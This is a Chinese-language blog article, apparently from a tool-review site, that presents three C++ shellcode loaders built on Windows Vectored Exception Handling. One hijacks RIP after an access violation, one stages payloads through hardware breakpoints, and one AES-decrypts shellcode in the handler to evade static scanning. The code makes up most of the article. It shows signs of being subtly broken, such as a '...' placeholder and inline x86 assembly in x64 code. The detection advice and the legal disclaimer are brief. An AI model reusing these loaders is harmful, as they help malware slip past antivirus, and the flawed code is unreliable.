一、VEH机制核心原理
Windows Vectored Exception Handling(VEH)是一种系统级的异常处理机制,允许程序注册自定义的异常处理回调函数。相较于传统的SEH(Structured Exception Handling),VEH具有以下特性:
-
全局优先级:在SEH之前被调用
-
动态注册:通过
AddVectoredExceptionHandler
动态管理 -
跨线程作用:处理进程中所有线程的异常
关键API:
cpp
PVOID AddVectoredExceptionHandler(ULONG First, PVECTORED_EXCEPTION_HANDLER Handler); ULONG RemoveVectoredExceptionHandler(PVOID Handle);
二、基础VEH Shellcode执行
2.1 技术原理
通过触发异常并修改上下文,直接跳转到Shellcode执行。
2.2 完整实现代码
cpp
#include <Windows.h> #include <excpt.h> BYTE shellcode[] = { 0x48,0x83,0xEC,0x28, // sub rsp, 0x28 0x48,0x31,0xC9, // xor rcx, rcx 0x48,0x31,0xD2, // xor rdx, rdx 0x49,0xB8,0x57,0x69,0x6E,0x45, // mov r8, 0x456E6957 ("WinE") 0x78,0x69,0x74,0x00, // ... 0x41,0x50, // push r8 0x48,0x8D,0x0C,0x24, // lea rcx, [rsp] 0x48,0x31,0xD2, // xor rdx, rdx 0xFF,0x15,0x1A,0x00,0x00,0x00, // call MessageBoxA 0x48,0x83,0xC4,0x28, // add rsp, 0x28 0xC3 // ret }; LONG NTAPI VectoredHandler(PEXCEPTION_POINTERS pExc) { if (pExc->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) { // 修改RIP寄存器指向Shellcode pExc->ContextRecord->Rip = (DWORD_PTR)shellcode; return EXCEPTION_CONTINUE_EXECUTION; } return EXCEPTION_CONTINUE_SEARCH; } int main() { // 注册VEH PVOID hHandler = AddVectoredExceptionHandler(1, VectoredHandler); // 分配可执行内存 VirtualProtect(shellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, NULL); // 触发访问违例 volatile int* ptr = nullptr; *ptr = 0xDEADBEEF; // 清理 RemoveVectoredExceptionHandler(hHandler); return 0; }
技术要点:
-
使用
EXCEPTION_ACCESS_VIOLATION
触发异常 -
修改
CONTEXT.Rip
劫持执行流 -
需要设置Shellcode内存为可执行
三、内存断点触发执行
3.1 技术原理
通过设置硬件断点触发异常,在VEH回调中执行多阶段Shellcode。
3.2 完整实现代码
cpp
#include <Windows.h> #include <excpt.h> BYTE stage1[] = {0x90,0x90,0xC3}; // NOP; NOP; RET BYTE stage2[] = {0x48,0x31,0xC0,0xC3}; // xor rax,rax; ret LONG NTAPI VectoredHandler(PEXCEPTION_POINTERS pExc) { if (pExc->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { static int phase = 0; // 阶段切换 if (phase == 0) { memcpy(stage1, stage2, sizeof(stage2)); phase = 1; } else { ((void(*)())stage1)(); } // 重置Dr0断点 pExc->ContextRecord->Dr0 = (DWORD_PTR)stage1; pExc->ContextRecord->Dr7 = (1 << 0); // 启用Dr0 return EXCEPTION_CONTINUE_EXECUTION; } return EXCEPTION_CONTINUE_SEARCH; } int main() { PVOID hHandler = AddVectoredExceptionHandler(1, VectoredHandler); // 设置硬件断点 CONTEXT ctx = {0}; ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; ctx.Dr0 = (DWORD_PTR)stage1; ctx.Dr7 = (1 << 0); // 执行时触发 SetThreadContext(GetCurrentThread(), &ctx); // 触发断点 ((void(*)())stage1)(); RemoveVectoredExceptionHandler(hHandler); return 0; }
技术优势:
-
使用硬件断点触发异常
-
分阶段加载Shellcode
-
无连续可疑内存区域
四、内存解密执行
4.1 技术原理
在VEH回调中动态解密加密的Shellcode,规避静态扫描。
4.2 完整实现代码
cpp
#include <Windows.h> #include <excpt.h> BYTE encrypted_sc[] = {0xAA,0xBB,0xCC,...}; // AES加密后的Shellcode const BYTE aes_key[] = "secret_key_123456"; LONG NTAPI VectoredHandler(PEXCEPTION_POINTERS pExc) { if (pExc->ExceptionRecord->ExceptionCode == EXCEPTION_ILLEGAL_INSTRUCTION) { // 解密Shellcode HCRYPTPROV hProv; HCRYPTKEY hKey; CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT); CryptImportKey(hProv, aes_key, sizeof(aes_key), 0, 0, &hKey); DWORD len = sizeof(encrypted_sc); CryptDecrypt(hKey, 0, TRUE, 0, encrypted_sc, &len); // 设置可执行权限 DWORD oldProtect; VirtualProtect(encrypted_sc, len, PAGE_EXECUTE_READ, &oldProtect); // 跳转执行 pExc->ContextRecord->Rip = (DWORD_PTR)encrypted_sc; return EXCEPTION_CONTINUE_EXECUTION; } return EXCEPTION_CONTINUE_SEARCH; } int main() { PVOID hHandler = AddVectoredExceptionHandler(1, VectoredHandler); // 触发异常 __asm { ud2 } // 生成无效指令异常 RemoveVectoredExceptionHandler(hHandler); return 0; }
技术要点:
-
使用
EXCEPTION_ILLEGAL_INSTRUCTION
触发 -
运行时解密加密的Shellcode
-
结合Windows CryptoAPI实现
五、防御与检测方案
5.1 检测技术
攻击方式 | 检测方法 |
---|---|
VEH注册监控 | 扫描非系统模块注册的VEH |
异常模式分析 | 检测连续异常触发事件 |
内存特征扫描 | 查找异常上下文修改模式 |
5.2 防护建议
powershell
# 启用受控文件夹访问 Set-MpPreference -EnableControlledFolderAccess Enabled # 监控异常处理注册 New-EventLog -LogName Security -Source "VEHMonitor" Write-EventLog -LogName Security -Source "VEHMonitor" -EventId 6001 ` -Message "检测到异常VEH注册: 进程 $pid"
六、技术演进方向
-
多阶段混淆:
cpp
// 分阶段触发不同异常 void Phase1() { __try { *(int*)0 = 0; } __except(1) {} } void Phase2() { __debugbreak(); }
-
结合硬件特性:
nasm
; 使用Intel MPX触发边界异常 bndmov [rsp], bnd0
-
AI驱动触发:
python
# 动态选择最佳触发时机 if model.predict(current_state) > threshold: trigger_exception()
七、法律声明
-
本文所述技术仅供授权安全研究使用
-
未经许可实施攻击违反《网络安全法》
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)